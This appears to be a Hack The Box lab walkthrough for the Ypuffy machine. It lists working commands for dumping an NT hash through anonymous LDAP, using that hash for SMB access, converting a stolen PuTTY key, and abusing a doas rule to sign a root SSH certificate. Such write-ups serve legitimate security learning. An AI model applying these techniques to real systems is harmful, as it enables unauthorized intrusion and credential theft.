Tags: hack the box, OpenBSD, ssh, ldap, samba, putty
Ypuffy was interesting for me in a few ways. I enjoyed getting a chance to work with ldap and samba. I also really liked exploring how certificates can be used for signing ssh keys. After the recent string of difficult boxes, it was nice to do a relatively simple challenge that made me think, research, and learn some new concepts. The creator, AuxSarge, did an excellent job with this machine.
As usual, we start off with a masscan
followed by a targeted nmap
.
masscan -e tun0 -p0-65535 --rate 700 -oL scan.10.10.10.70.tcp 10.10.10.70
═════════════════════════════════════════════════════════════════════════
open tcp 445 10.10.10.107 1537041292
open tcp 80 10.10.10.107 1537041298
open tcp 389 10.10.10.107 1537041363
open tcp 22 10.10.10.107 1537041409
open tcp 139 10.10.10.107 1537041419
The things that immediately jumped out at me with this response were ports 139, 445, and 389. Lightweight Directory Access Protocol (LDAP) immediately makes me think of Active Directory. They’re not the same thing, but Active Directory supports LDAP. Rob Sobers explains the relationship between the two very well, and I’ll just quote him, because it’s much better than what I would have come up with on my own.
The relationship between AD and LDAP is much like the relationship between Apache and HTTP:
HTTP is a web protocol. Apache is a web server that uses the HTTP protocol.
Similarly, LDAP is a directory services protocol. Active Directory is a directory server that uses the LDAP protocol.
nmap -p 445,80,389,22,139 -sC -sV -oN nmap.scan 10.10.10.107
════════════════════════════════════════════════════════════
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
| 256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
|_ 256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
80/tcp open http OpenBSD httpd
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open ldap (Anonymous bind OK)
445/tcp open netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
Service Info: Host: YPUFFY
Host script results:
|_clock-skew: mean: 1h22m41s, deviation: 2h18m34s, median: 2m41s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6)
| Computer name: ypuffy
| NetBIOS computer name: YPUFFY\x00
| Domain name: hackthebox.htb
| FQDN: ypuffy.hackthebox.htb
|_ System time: 2018-09-15T16:03:58-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2018-09-15 15:03:58
|_ start_date: N/A
The thing that I keyed off on in the nmap
scan is that nmap
ran some sort of script against the ldap server to get the response Anonymous bind OK. If you’re not aware, the -sC
argument to nmap
is short-hand for --script=default
. Essentially, nmap
runs a batch of scripts that fall under the default category. The question that occurred to me is, what other scripts does nmap
have for ldap?.
A quick locate
and grep
can answer that question.
locate nmap | grep ldap
═══════════════════════
/usr/share/nmap/nselib/ldap.lua
/usr/share/nmap/scripts/ldap-brute.nse
/usr/share/nmap/scripts/ldap-novell-getpass.nse
/usr/share/nmap/scripts/ldap-rootdse.nse
/usr/share/nmap/scripts/ldap-search.nse
After a little research, ldap-search seemed like a good candidate to enumerate ldap on the box.
1nmap -p 389 --script=ldap-search -oN ldap-search.scan 10.10.10.107
2══════════════════════════════════════════════════════════════════
3
4PORT STATE SERVICE
5389/tcp open ldap
6| ldap-search:
7| Context: dc=hackthebox,dc=htb
8-------------8<-------------
9| dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb
10| uid: alice1978
11| cn: Alice
12| objectClass: account
13| objectClass: posixAccount
14| objectClass: top
15| objectClass: sambaSamAccount
16| userPassword: {BSDAUTH}alice1978
17| uidNumber: 5000
18| gidNumber: 5000
19| gecos: Alice
20| homeDirectory: /home/alice1978
21| loginShell: /bin/ksh
22| sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
23| displayName: Alice
24| sambaAcctFlags: [U ]
25| sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000
26| sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
27| sambaPwdLastSet: 1532916644
28-------------8<-------------
SUCCESS! A quick sift through the information returned by nmap
provides us with an important field concerning samba authentication: sambaNTPassword. According to TFM, having the sambaNTPassword is basically the same thing as having a cleartext password. Armed with that knowledge, it was time to access some shares!
NT Password Hash
This is the Windows NT hash of the user’s password, encoded as 32 hex digits.
WARNING !!. Note that, due to the challenge-response nature of the SMB/CIFS authentication protocol, anyone with a knowledge of this password hash will be able to impersonate the user on the network. For this reason these hashes are known as plain text equivalents and must NOT be made available to anyone but the root user. To protect these passwords the smbpasswd file is placed in a directory with read and traverse access only to the root user and the smbpasswd file itself must be set to be read/write only by root, with no other access.
Before we can mount a share, aside from guessing blindly at things like C$, we need to list out what shares are available. smbclient
makes this very simple.
smbclient -U alice1978%0B186E661BBDBDCF6047784DE8B9FD8B --pw-nt-hash -L 10.10.10.107
════════════════════════════════════════════════════════════════════════════════════
Sharename Type Comment
--------- ---- -------
alice Disk Alice's Windows Directory
IPC$ IPC IPC Service (Samba Server)
Server Comment
--------- -------
Workgroup Master
--------- -------
And there we see the share alice, ready and waiting to be pilfered.
smbclient options used:
-U|--user=username[%password]
Sets the SMB username or username and password
If %password is not specified, the user will be prompted.
--pw-nt-hash
The supplied password is the NT hash
-L
allows you to look at what services are available on a server
smbclient -U alice1978%0B186E661BBDBDCF6047784DE8B9FD8B --pw-nt-hash \\\\10.10.10.107\\alice
Once connected to the share, we list out its contents and see a putty key named my_private_key.
smb: \> ls
. D 0 Mon Jul 30 21:54:20 2018
.. D 0 Tue Jul 31 22:16:50 2018
my_private_key.ppk A 1460 Mon Jul 16 20:38:51 2018
smb: \> get my_private_key.ppk
getting file \my_private_key.ppk of size 1460 as my_private_key.ppk (4.4 KiloBytes/sec) (average 4.4 KiloBytes/sec)
The last step is to convert our putty key to an OpenSSH key-pair.
1my_private_key.ppk
2══════════════════
3
4PuTTY-User-Key-File-2: ssh-rsa
5Encryption: none
6Comment: rsa-key-20180716
7Public-Lines: 6
8AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz
91am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02qux
10BoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAj
11h7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/Sxa
12iA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWx
13ivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw==
14Private-Lines: 14
15AAABAH0knH2xprkuycHoh18sGrlvVGVG6C2vZ9PsiBdP/5wmhpYI3Svnn3ZL8CwF
16VGaXdidhZunC9xmD1/QAgCgTz/Fh5yl+nGdeBWc10hLD2SeqFJoHU6SLYpOSViSE
17-------------8<-------------
The apt
package putty-tools contains a tool called puttygen
that will allow us to easily convert the putty key.
apt install putty-tools
After putty-tools install is complete, we can run puttygen
to do the actual conversion.
puttygen my_private_key.ppk -O private-openssh -o alice1978-id_rsa
puttygen my_private_key.ppk -O public-openssh -o alice1978-id_rsa.pub
puttygen options used:
-O
specify output type
-o
specify output file
Now that we have some OpenSSH keys, it’s time to get a shell on target!
ssh -l alice1978 -i alice1978-id_rsa 10.10.10.107 "wc -c user.txt"
══════════════════════════════════════════════════════════════════
33 user.txt
\o/ - user access: alice1978
Now that we have a different level of access, we need to re-enumerate with that access. The biggest indicator of what our next step should be is the entry in doas.conf.
1-------------8<-------------
2/home/userca/ca
3/home/userca/ca.pub
4/home/userca/.ssh
5-------------8<-------------
6/etc/doas.conf:2:permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen
7-------------8<-------------
The doas
utility executes commands as other users according to the rules in the doas.conf configuration file. The rules have the following format:
permit|deny [options] identity [as target] [cmd command [args ...]]
Let’s check out the system’s doas.conf.
1/etc/doas.conf
2══════════════
3
4permit keepenv :wheel
5permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen
If you’re at all familiar with sudo
, it should be pretty easy to see what’s happening. In plain english, the user alice1978 is allowed to run the command /usr/bin/ssh-keygen
as though she is actually the user userca without having to specify a password.
The ssh server’s configuration also has some interesting pieces, highlighted below.
1/etc/ssh/sshd_config
2════════════════════
3# $OpenBSD: sshd_config,v 1.102 2018/02/16 02:32:40 djm Exp $
4
5# This is the sshd server system-wide configuration file. See
6# sshd_config(5) for more information.
7
8-------------8<-------------
9
10#AuthorizedPrincipalsFile none
11
12AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username=%u
13AuthorizedKeysCommandUser nobody
14
15TrustedUserCAKeys /home/userca/ca.pub
16AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u
17AuthorizedPrincipalsCommandUser nobody
18
19-------------8<-------------
Everything so far seems to be pointing us to generating keys and somehow integrating a Certificate Authority (all those ca’s floating around). Time to RTFM!!
Not that I knew it before doing this box, but ssh actually has the functionality to use a certificate authority to authenticate servers and clients. Let’s pull some of that information from the man pages.
I’ve highlighted what I found to be the most useful from these sections. The TrustedUserCAKeys file can be used to sign a client certificate for authentication to this server. The AuthorizedPrincipalsCommand will allow us to determine valid principals for a given user on the system.
sshd_config man page
════════════════════
TrustedUserCAKeys
Specifies a file containing public keys of certificate
authorities that are trusted to sign user certificates for
authentication, or none to not use one.
-------------8<-------------
If a certificate is presented for authentication and has its signing
CA key listed in this file, then it may be used for
authentication for any user listed in the certificate's
principals list.
-------------8<-------------
AuthorizedPrincipalsCommand
Specifies a program to be used to generate the list of allowed
certificate principals as per AuthorizedPrincipalsFile.
-------------8<-------------
If either AuthorizedPrincipalsCommand or AuthorizedPrincipalsFile is
specified, then certificates offered by the client for
authentication must contain a principal that is listed.
ssh-keygen man page
═══════════════════
Certificates may be limited to be valid for a set of principal
(user/host) names. By default, generated certificates are valid for all
users or hosts.
-------------8<-------------
CERTIFICATES
Clients or servers may then trust only the CA key and verify
its signature on a certificate rather than trusting many user/host keys.
-------------8<-------------
-------------8<-------------
To generate a certificate for a specified set of principals:
$ ssh-keygen -s ca_key -I key_id -n user1,user2 user_key.pub
$ ssh-keygen -s ca_key -I key_id -h -n host.domain host_key.pub
The ssh configuration file told us the exact command to list out valid principals, all we need to do is fire it off against the users on the box. A quick for loop can take care of that.
1for i in $(cut -f 1 -d : /etc/passwd); do
2 echo -n "$i: "
3 curl "http://127.0.0.1/sshauth?type=principals&username=$i"
4 echo
5done
The only one that comes back is root with a principal name of 3m3rgencyB4ckd00r. Sounds like a winner!
root: 3m3rgencyB4ckd00r
daemon:
operator:
bin:
-------------8<-------------
All we need to do now is generate keys, upload them, and sign them. To start, we’ll use our own local ssh-keygen
to produce a key-pair (use the -f
option to not blow away any real keys you may be using in your .ssh
folder)
ssh-keygen -f ./id_rsa
A quick scp
will get the keys on target.
scp -i alice1978-id_rsa id_rsa* alice1978@10.10.10.107:/tmp
Finally, we can utilize the doas
command to sign the keys we uploaded.
doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I epi -n 3m3rgencyB4ckd00r /tmp/id_rsa.pub
═════════════════════════════════════════════════════════════════════════════════════════════════
Signed user key /tmp/id_rsa-cert.pub: id "epi" serial 0 for 3m3rgencyB4ckd00r valid forever
ssh-keygen options used:
-s ca_key
Certify (sign) a public key using the specified CA key.
-I certificate_identity
Specify the key identity when signing a public key.
-n principals
Specify one or more principals (user or host names) to be included in a certificate when signing a key.
At last, ssh to localhost as root using our shiny new CA signed key.
ssh -i id_rsa -l root 127.0.0.1 "wc -c /root/root.txt"
══════════════════════════════════════════════════════
33 /root/root.txt
\o/ - root access
I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.